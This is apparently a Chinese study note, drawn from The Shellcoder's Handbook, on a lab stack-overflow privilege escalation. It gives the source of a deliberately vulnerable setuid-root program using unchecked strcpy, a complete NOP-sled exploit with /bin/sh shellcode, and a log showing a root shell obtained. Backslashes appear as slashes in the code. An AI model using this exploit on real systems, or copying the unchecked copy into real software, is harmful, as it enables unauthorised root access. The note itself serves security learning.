shellcode之二.Plus：victim漏洞提权实例

声明：主要内容来自《The Shellcoder's Handbook》，摘录重点作为笔记并加上个人的一些理解，如有错，请务必指出。

在<简述漏洞提权>中提到一个简单的程序victim攻击。由于之前我的系统是Debian/Etch，会故意变化栈的地址，当时未能按照书上做这个测试。后来装了sarge，遂进行这个实验，因为这个攻击实例非常有助于栈溢出的理解。

注：sarge的sources.list源非常少了，至少我找不到，我用的是DVD源。DVD下载地址：http://cdimage.debian.org/cdimage/archive/3.1_r8/i386/iso-dvd/

插入光盘后，运行以下命令，建立编译环境，开通telnet和nfs服务。

apt-cdrom add

apt-get update

apt-get install build-essential

apt-get install telnetd nfs-kernel-server nfs-common 

find esp

写个find_esp.c，用于输出程序栈地址：

sep@debian:~$ cd shellcode/
sep@debian:~/shellcode$ ls
exploit_victim find_esp hellworld shellcode victim
exploit_victim.c find_esp.c hellworld.c shellcode.c victim.c
sep@debian:~/shellcode$ cat find_esp.c
//file: find_esp.c

#include <stdio.h>

unsigned long find_esp()
{
__asm__("movl %esp, %eax");
}

int main()
{
printf("0x%x/n", find_esp());
}

sep@debian:~/shellcode$ ./find_esp
0xbffffb58
sep@debian:~/shellcode$ ./find_esp
0xbffffb58
sep@debian:~/shellcode$ ./find_esp
0xbffffb58
sep@debian:~/shellcode$

可以看到三次运行find_esp都返回一致的地址值。

victim漏洞

sep@debian:~/shellcode$ cat victim.c
//file: victim.c

#include <stdio.h>

int main(int argc, char *argv[])
{
char little_arr[512];
if (argc > 1)
strcpy(little_arr, argv[1]);
}

sep@debian:~/shellcode$ ls -l victim
-rwsr-sr-x 1 root sep 11395 2010-08-12 10:00 victim
sep@debian:~/shellcode$

注意victim.c中strcpy，程序从命令行获取输入后，在没有进行边界检查的情况下，把输入数据复制到数组，这给我们方便进行栈溢出。注：目标程序victim的属主已设为root，suid位打开，当攻击完成后，我们将会拥有根特权。

编写溢出攻击程序

之前有提及我们所面临的最困难的问题是找出shellcode的起始地址，只能根据esp地址进行猜测。我们用NOP法写一个EXP，如下：

//file: exploit_victim.c

#include <stdio.h>

#define DEFAULT_BUFFER_SIZE 512 //默认缓冲区大小，与victim.c缓冲区大小一致
#define NOP 0x90 //空操作指令OP码
#define NO_DEBUG

#ifdef NO_DEBUG
#define DPRINTF(a,...)
#else
#define DPRINTF printf
#endif

char shellcode[] = "/xeb/x1a/x5e/x31"
"/xc0/x88/x46/x07"
"/x8d/x1e/x89/x5e"
"/x08/x89/x46/x0c"
"/xb0/x0b/x89/xf3"
"/x8d/x4e/x08/x8d"
"/x56/x0c/xcd/x80"
"/xe8/xe1/xff/xff"
"/xff/x2f/x62/x69"
"/x6e/x2f/x73/x68";

//在sarge中，每个程序的栈都以同样的地址开始，根据这个地址可以猜测shellcode的起始地址
unsigned long find_esp()
{
__asm__("movl %esp, %eax");
}

void main(int argc, char *argv[])
{
char *buff, *ptr;
long *paddr, addr;
int bsize = DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (bsize < strlen(shellcode)) {
printf("Buffer size is too small./n");
exit(1);
}

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory./n");
exit(1);
}

addr = find_esp();
printf("Using address: 0x%08x/n", addr);

ptr = buff;
DPRINTF("/n/n");
DPRINTF("Fill buff with NOP:/n");
for (i = 0; i < (bsize/2 - strlen(shellcode)/2); i++) {
*(ptr++) = NOP;
if ((i%0x10) == 0) DPRINTF("/n");
DPRINTF("%02x ", *(long *)(ptr-1));
}

DPRINTF("/n/n");
DPRINTF("Fill buff with shellcode:/n");
for (i = 0; i < strlen(shellcode); i++) {
*(ptr++) = shellcode[i];
if ((i%0x10) == 0) DPRINTF("/n");
DPRINTF("%02x ", *(long *)(ptr-1));
}

DPRINTF("/n/n");
DPRINTF("Fill buff with ret address:/n");
for (i = 0; ptr < &buff[bsize-1]; ptr += 4, i++) {
*(long *)ptr = addr;
if ((i%0x8) == 0) DPRINTF("/n");
DPRINTF("%08x ", *(long *)ptr);
}
DPRINTF("/n/n");

buff[bsize - 1] = '/0';

memcpy(buff, "BUF=", 4);
putenv(buff);
system("/bin/bash");
}

测试结果：

sep@debian:~/shellcode$ gcc -o exploit_victim exploit_victim.c
exploit_victim.c: In function `main':
exploit_victim.c:45: warning: assignment makes pointer from integer without a cast
exploit_victim.c:33: warning: return type of `main' is not `int'
sep@debian:~/shellcode$ ./exploit_victim
Using address: 0xbffffb18
sep@debian:~/shellcode$ ./victim $BUF
sep@debian:~/shellcode$ ./exploit_victim 520
Using address: 0xbffff928
sep@debian:~/shellcode$ ./victim $BUF
sep@debian:~/shellcode$ ./exploit_victim 530
Using address: 0xbffff928
sep@debian:~/shellcode$ ./victim $BUF
Segmentation fault
sep@debian:~/shellcode$ ./exploit_victim 540
Using address: 0xbffff918
sep@debian:~/shellcode$ ./victim $BUF
Segmentation fault
sep@debian:~/shellcode$ ./exploit_victim 550
Using address: 0xbffff908
sep@debian:~/shellcode$ ./victim $BUF
Segmentation fault
sep@debian:~/shellcode$ ./exploit_victim 560
Using address: 0xbffff908
sep@debian:~/shellcode$ ./victim $BUF
sh-2.05b# id
uid=1000(sep) gid=1000(sep) euid=0(root) groups=1000(sep),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
sh-2.05b# exit
exit
sep@debian:~/shellcode$ ./exploit_victim 600
Using address: 0xbffff8f8
sep@debian:~/shellcode$ ./victim $BUF
sh-2.05b#
sh-2.05b# exit
exit
sep@debian:~/shellcode$

尝试多个地址后，成功拿到root特权。